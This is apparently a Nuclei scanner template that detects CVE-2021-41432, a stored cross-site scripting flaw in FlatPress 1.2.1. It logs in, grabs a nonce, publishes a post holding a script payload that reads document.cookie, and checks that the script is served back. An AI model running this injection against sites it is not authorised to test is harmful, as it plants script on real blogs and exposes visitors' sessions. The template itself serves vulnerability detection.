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id : CVE-2021-41432
info :
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name : FlatPress 1.2.1 - Stored Cross-Site Scripting
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author : arafatansari
severity : medium
description : |
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FlatPress 1.2.1 contains a stored cross-site scripting vulnerability that allows for arbitrary execution of JavaScript commands through blog content. An attacker can possibly steal cookie-based authentication credentials and launch other attacks.
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impact : |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the application, leading to potential data theft, session hijacking, or defacement of the website.
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remediation : |
Upgrade to the latest version of FlatPress (1.2.2) or apply the provided patch to fix the XSS vulnerability.
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reference :
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- https://github.com/flatpressblog/flatpress/issues/88
- https://nvd.nist.gov/vuln/detail/CVE-2021-41432
classification :
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cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score : 5.4
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cve-id : CVE-2021-41432
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cwe-id : CWE-79
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epss-score : 0.00067
epss-percentile : 0.27822
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cpe : cpe:2.3:a:flatpress:flatpress:1.2.1:*:*:*:*:*:*:*
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metadata :
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verified : true
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max-request : 4
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vendor : flatpress
product : flatpress
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shodan-query : http.html:"Flatpress"
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tags : cve2021,cve,flatpress,xss,authenticated,oss,intrusive
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http :
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- raw :
- |
POST /login.php HTTP/1.1
Host : {{Hostname}}
Content-Type : multipart/form-data; boundary=----WebKitFormBoundarykGJmx9vKsePrMkVp
------WebKitFormBoundarykGJmx9vKsePrMkVp
Content-Disposition : form-data; name="user"
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{{username}}
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------WebKitFormBoundarykGJmx9vKsePrMkVp
Content-Disposition : form-data; name="pass"
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{{password}}
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------WebKitFormBoundarykGJmx9vKsePrMkVp
Content-Disposition : form-data; name="submit"
Login
------WebKitFormBoundarykGJmx9vKsePrMkVp--
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- |
GET /admin.php?p=entry&action=write HTTP/1.1
Host : {{Hostname}}
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- |
POST /admin.php?p=entry&action=write HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
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_wpnonce={{nonce}}&_wp_http_referer=%2Fadmin.php%3Fp%3Dentry%26action%3Dwrite&subject=abcd×tamp=&entry=&attachselect=--&imageselect=--&content=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&save=Publish
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- |
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GET /index.php/2022/10 HTTP/1.1
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Host : {{Hostname}}
matchers :
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- type : dsl
dsl :
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- contains(body_4, '<p><script>alert(document.cookie)</script></p>')
- contains(body_4, 'FlatPress')
- contains(header_4, 'text/html')
- status_code_4 == 200
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condition : and
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extractors :
- type : regex
name : nonce
group : 1
regex :
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- name="_wpnonce" value="([0-9a-z]+)" />
internal : true
part : body
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# digest: 4b0a00483046022100e584a3ae94ce0ab2e27ebdcd987675527be8d29583fd1d7b4d5b8a3be68b6e9b022100f0ab5de807ca515f3608183027b1ddb156770346921ae3a12c150c968941bd6c:922c64590222798bb761d5b6d8e72950